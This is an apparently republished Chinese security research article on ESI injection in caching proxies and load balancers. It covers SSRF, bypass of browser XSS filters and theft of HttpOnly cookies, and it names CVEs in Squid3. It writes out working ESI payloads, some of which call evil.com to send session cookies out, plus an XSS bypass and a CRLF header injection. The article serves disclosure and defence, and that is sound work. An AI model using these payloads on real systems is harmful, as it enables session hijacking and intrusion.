溫馨提示×
您好，登錄后才能下訂單哦！
點擊 登錄注冊 即表示同意《億速云用戶服務條款》
您好，登錄后才能下訂單哦！
這期內容當中小編將會給大家帶來有關ESI注入中如何利用緩存服務形成的SSRF和其它客戶端形式滲透，文章內容豐富且以專業的角度為大家分析和敘述，閱讀完這篇文章希望大家可以有所收獲。
Edge Side Includes (ESI)標記語言主要用于各種流行的HTTP代理中（如反向代理、負載均衡、緩存服務器、代理服務器）解決網頁緩存問題。早前我們在進行安全評估時發現了Edge Side Includes (ESI) 的一個異常行為，經測試后發現，對ESI的成功利用可形成SSRF、繞過HTTPOnly cookie標記的XSS攻擊和服務端的拒絕服務攻擊，我們把ESI的這種利用技術稱為 ESI 注入（ESI Injection）。
通過驗證，我們發現十多種支持ESI的應用，如Varnish，Squid Proxy，IBM WebSphere，Oracle Fusion / WebLogic，Akamai，Fastly，F5，Node.js ESI，LiteSpeed等其它一些特定的語言插件，這些應用或插件如果啟用ESI功能之后，就會存在ESI注入漏洞風險。
ESI標記語言主要基于一個XML標簽集，被用在很多流行的HTTP代理中來解決高負荷的網頁緩存問題，ESI標簽用于指引反向代理（或緩存服務器）獲取緩存中待取的網頁內容信息，在客戶端發起請求之前，這些內容信息也有可能來自其它服務器中，而且這些緩存頁面中還包含了動態內容。
ESI使用簡單的標記語言來對網頁中可以加速和不能加速的內容片斷進行描述，最終每個網頁都可被劃分成不同片段部分，并賦予了不同的緩存控制策略，使緩存服務器可以根據緩存策略，在將完整的網頁發送給用戶之前能將不同的片段部分動態地組合在一起。通過這種控制方式，可以有效地減少從服務器抓取整個頁面的次數，而只用從原服務器中提取少量的不能緩存的片斷，因此可以有效降低服務器的負載，同時提高用戶訪問的響應時間。ESI多在緩存服務器或代理服務器上執行。
ESI技術的一個常見用例是處理包含動態內容的靜態頁面，開發者可使用ESI標簽替換頁面中的動態部分來增加緩存的靈活性，因此，當頁面被請求時，ESI標簽就會代理被獲取處理，確保了后端應用服務器的性能。
下圖天氣預報頁面就是ESI技術的一個典型用例，天氣預報網站緩存了一個城市的天氣頁面內容，其中的動態數據會被各自的ESI標簽替換并指向一個API服務端URL，緩存和動態內容共同構成了實時的天氣狀況：
ESI語法非常簡單，上面這個天氣預報示例的HTML文件是這樣形式的：
<body>
<b>The Weather Website</b>
Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
[…]
最早的ESI規范可追溯到2001年，那時ESI應用到每種程序中的定義都各自不同，每種產品中的功能也各有特色，有些還存在功能缺失。可以參考原始的ESI規范定義，它描述了標記語言的各種功能應用，而很多應用廠商后來在其中增加了更多的功能。
在上游服務器響應的和惡意攻擊者注入HTTP的ESI標簽之間，HTTP代理是不能區分合法ESI標簽的，也就是說，如果攻擊者能成功把ESI標簽注入到HTTP響應內容中后，代理就會通過評估解析，認為它們是來自上游服務器響應的合法ESI標簽。
ESI解析器在處理ESI標簽時，小于號<和>大于號之間的字符不會被編碼或轉義，如今，Web應用服務器會轉義一些用戶輸入的特殊字符以防止XSS攻擊，雖然這樣能有效阻止代理解析后返回的ESI標簽語義，但有時候ESI標簽可以注入到非HTML形式的HTTP響應內容中去。
實際上，現在ESI的新功能能使開發者將動態內容添加到其它緩存或靜態數據源中，如JSON對象和CSV對象等。ESI+JSON對象的處理方式，可參考此處文章，其中演示了JSON對象中的ESI解析器通過配置處理ESI標簽的過程。
由于現在的應用框架都會把轉義過程語境化，API服務端在JSON屬性中包含HTML形式的字符串并不少見，因為這些信息不會被瀏覽器當做HTML解析。然而，這也使得攻擊者可以用信息傳輸過程中代理能解析的ESI標簽去注入到JSON響應的輸入中，形成毒化。
上述場景比較少見，大多數的攻擊途徑是是后端服務器會解析ESI標簽，然后通過啟用了ESI的負載均衡或者代理進行處理。顯然，如果用戶的輸入要經過過濾審查，那么就可以有效緩解XSS攻擊，且ESI標簽也會被編碼且不會被代理處理解析。
無疑，最常見也是最有用的功能可能要數includes標簽了，能被代理或者負載均衡處理解析ESI include標簽可執行HTTP請求獲取動態內容。如果攻擊者在HTTP響應中添加進入一個ESI標簽，這種組合形式就能導致代理服務器環境（不是應用服務器）中的SSRF攻擊。
如以下的Payload可在HTTP代理中實現SSRF攻擊：
<esi:include src="http://evil.com/ping/" />
如果能得到一個HTTP回調，則代理服務器就可能存在ESI注入漏洞。ESI的實現各不相同，有些支持ESI的服務器不允許未經白名單策略過濾的主機中產生的includes標簽，這就意識著只能對一臺服務器執行SSRF攻擊，這個知識會在下文的‘實現方式差異’部份進行討論。現在，我們先來看看用ESI標簽來實現SSRF攻擊的流程：
1 攻擊者利用ESI payload通過中間的代理服務器向后端服務器發起請求，并試圖讓后端服務器對該payload有所響應；
2 代理服務器接收到請求后轉發給適合的后端服務器；
3 適合的后端應用服務器對ESI payload有所響應，并將響應返回給代理服務器；
4 代理服務器收到ESI payload的響應后，確定是否存在ESI標簽，代理服務器解析存在的ESI標簽，并執行對惡意服務器evil.com的請求
5 代理服務器接收到來自惡意服務器evil.com的請求，并把它添加到后端服務器的初始響應中；
6 代理服務器把完整響應內容返回給客戶端。
客戶端XSS過濾機制一般通過請求輸入和響應輸出的比較來運行，當某些GET參數在HTTP響應中出現時，瀏覽器會啟動安全過濾措施來識別是否存在XSS payload 攻擊，如果瀏覽器識別到payload為HTML為Javascript，那么這種攻擊就會被阻止。
然而，由于Chrome瀏覽器的XSS防護機制不會識別ESI標簽，因此ESI標簽根本不可能在客戶端被處理執行。在經過一些ESI技巧處理之后，能把一些XSS payload分配到ESI引擎的變量中，然后就能把它們返回顯示。
在發往瀏覽器之前，ESI引擎會在服務器端創建惡意的Javascript payload，通過這種構造方式，由于發往服務端的輸入不會向發往瀏覽器那樣返回響應，所以能繞過XSS過濾機制，以下就是類似的一段payload：
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>
>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
<esi:assign> 運算符指定一個任意值儲存在服務器端的ESI變量中，該變量可通過$(variable_name)操作符被獲取，在前述的例子中，var1 用來儲存‘cript’值，通過組合調用，該值最終會變為有效的一個HTML標簽<script>被解析，最終可顯示響應的payload則是這樣的：
<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>
某些ESI實現不支持ESI變量，當然也就無法用這種方式來利用，當includes標簽可用時，則可以把includes標簽指向一個包含有XSS payload的外部域，如下即為一個典型的利用ESI includes標簽從SSRF過渡到XSS攻擊的示例：
poc.html:
<script>alert(1)</script>
然后，向頁面的ESI includes中注入ESI 標簽：
GET /index.php?msg=<esi:include src="http://evil.com/poc.html" />
按照設計，如代理和負載均衡器的HTTP代理能訪問到完整的HTTP請求和響應，這其中包括瀏覽器或服務器發送的所有cookie，ESI規范中的一個有用功能就是定義了能訪問ESI標簽內傳輸的cookie，這也就使得開發者能在ESI引擎中引用cookie，這種具備狀態性的cookie信息會帶來更多的靈活性。
然而，這種功能也產生了一個重要的攻擊向量：cookie exfiltration（cookie 滲漏），現有針對cookie竊取的一個對策是在Javascript引擎下使用HTTPOnly標記，這種標記在cookie創建時被定義，會阻斷Javascript引擎對cookie和其變量值的訪問獲取，防止cookie竊取形式的XSS攻擊。由于ESI是在服務器端被處理，當上游服務器向代理服務器傳輸cookie時，可以利用這些cookie。一種攻擊途徑就是使用ESI includes標簽對URL中的cookie進行竊取或滲漏。例如以下payload正在被ESI運行處理：
<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
在攻擊者控制的惡意服務器 evil.com的HTTP日志中，攻擊者可以看到如下信息：
127.0.0.1 evil.com - [08/Mar/2018:15:20:44 - 0500] "GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-" "-"
通過這種不用Javascript參與的方式，HTTPOnly cookie就能被竊取或滲漏。
之前提過，ESI的實現在不同的應用產品中存在差異，同種方式的同種功能可能在其它產品中則不能實現，以下是經我們測試的，存在可利用ESI發起攻擊的一些軟件產品效果：
表格中的各屬性如下：
Includes：該列描述了ESI 引擎對<esi:includes>操作的實現情況
Vars：該列描述了ESI 引擎對<esi:vars>操作的實現情況
Cookie：該列描述了ESI 引擎對cookie的訪問情況
Upstream Headers Required：該列描述了ESI 引擎是否需要上游服務器標記頭，除非標記頭是由上游服務器提供，否則代理服務器是不會處理ESI聲明語句的。
Host Whitelist：該列描述了ESI includes標記是否只適用于實行白名單策略的服務器端主機，如果該項為真，則ESI includes
以下部份是關于一些廠商軟件產品功能和ESI注入實現的實際用例：
如我們發現的與Squid3相關的CVE-2018-1000024 和 CVE-2018-1000027，在Squid3環境下，可以利用以下payload對cookie進行竊取滲漏：
<esi:include src="http://evil.com/$(HTTP_COOKIE)"/>.
攻擊者可在一些JSON API 或圖片的傳輸交換中注入ESI標簽，例如在資料簡介的圖片上傳功能中添加進ESI標簽，服務器端解析之后就返回響應，形成ESI注入。
另外，攻擊者可利用X-Forwarded-For 和 JunkHeader兩個HTTP標記頭，用以下ESI payload形成SSRF攻擊：
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
發出的ESI includes標記請求如下：
GET / HTTP/1.1
User-Agent: curl/7.57.0
Accept: */*
Host: anything.com
X-Forwarded-For: 127.0.0.1
JunkHeader: JunkValue
X-Forwarded-For: 209.44.103.130
X-Varnish: 120
另外，我們還在Akamai ESI Test Server 、Fastly、NodeJS’ ESI、NodeJS’ nodesi等多種產品和應用中成功實現了ESI注入攻擊的漏洞測試。
一些代理產品會在Surrogate-Control HTTP header標記頭中加入ESI處理機制以實現驗證識別，該標記頭可用于告知上游服務器ESI標簽在響應內容中的存在情況，以備進行一些相應的解析操作。如果你發現一個像這種的HTTP標記頭響應內容：Surrogate-Control: content="ESI/1.0”，那說明處理流程中可能存在啟用ESI的架構。
但是，大多數代理和負載均衡器在把響應發送到客戶端之前，都會移除掉header標記頭，有些代理也甚至不需要Surrogate-Control headers標記頭。因此，這種ESI判斷方式也不全適用。鑒于ESI 實現的功能選擇較為廣泛，目前還沒有一種技術可以用來檢測發現ESI注入。唯一較為全面的方法可能就是通過對各種ESI payload進行測試，總結出其中的各種威脅特征，以此來識別ESI注入。例如，ESI includes可用來對攻擊者控制的服務器執行SSRF，但是有些環境下的實現卻需要是白名單主機才行。
本質上來說，ESI是一個過時的規范定義，但出乎意料的是，它竟然還被廣泛用于一些流行的緩存系統中用來實現某些特定功能，雖然我們分析的一些產品中，大部分ESI功能都是默認禁用的，但還是存在一些ESI直接可用的產品應用，如IBM WebSphere、Squid3、Oracle Fusion/WebLogic、F5以及LiteSpeed。
ESI注入對用戶輸入審查不當的后果，當具備ESI功能的代理去解析未經過濾的用戶輸入時，就會產生ESI注入攻擊。通常來說，針對一些XSS的防護措施或框架都能有效對ESI注入有所防御，但實際來說，主要原因還在于ESI規范中對安全性的考慮不足。
如前所述，可以通過將ESI includes可利用的域或主機列入白名單來部分緩解這種安全威脅，而且，作為軟件供應商，也至少應該明確警告用戶啟用ESI功能可能會帶來的風險。
我們通過ESI功能在緩存服務和開源應用中的漏洞利用，測試演示了一種之前從未公開過的攻擊途徑，最終實現了Cookie滲漏、SSRF和客戶端XSS過濾繞過，在此過程中，我們也對這種漏洞利用技術的條件和Payload進行了解釋說明，希望這種思路能對漏洞挖掘者有所幫助，同時也借此引起安全社區和產品供應商對ESI功能的重視。
上述就是小編為大家分享的ESI注入中如何利用緩存服務形成的SSRF和其它客戶端形式滲透了，如果剛好有類似的疑惑，不妨參照上述分析進行理解。如果想知道更多相關知識，歡迎關注億速云行業資訊頻道。
免責聲明：本站發布的內容（圖片、視頻和文字）以原創、轉載和分享為主，文章觀點不代表本網站立場，如果涉及侵權請聯系站長郵箱：is@yisu.com進行舉報，并提供相關證據，一經查實，將立刻刪除涉嫌侵權內容。
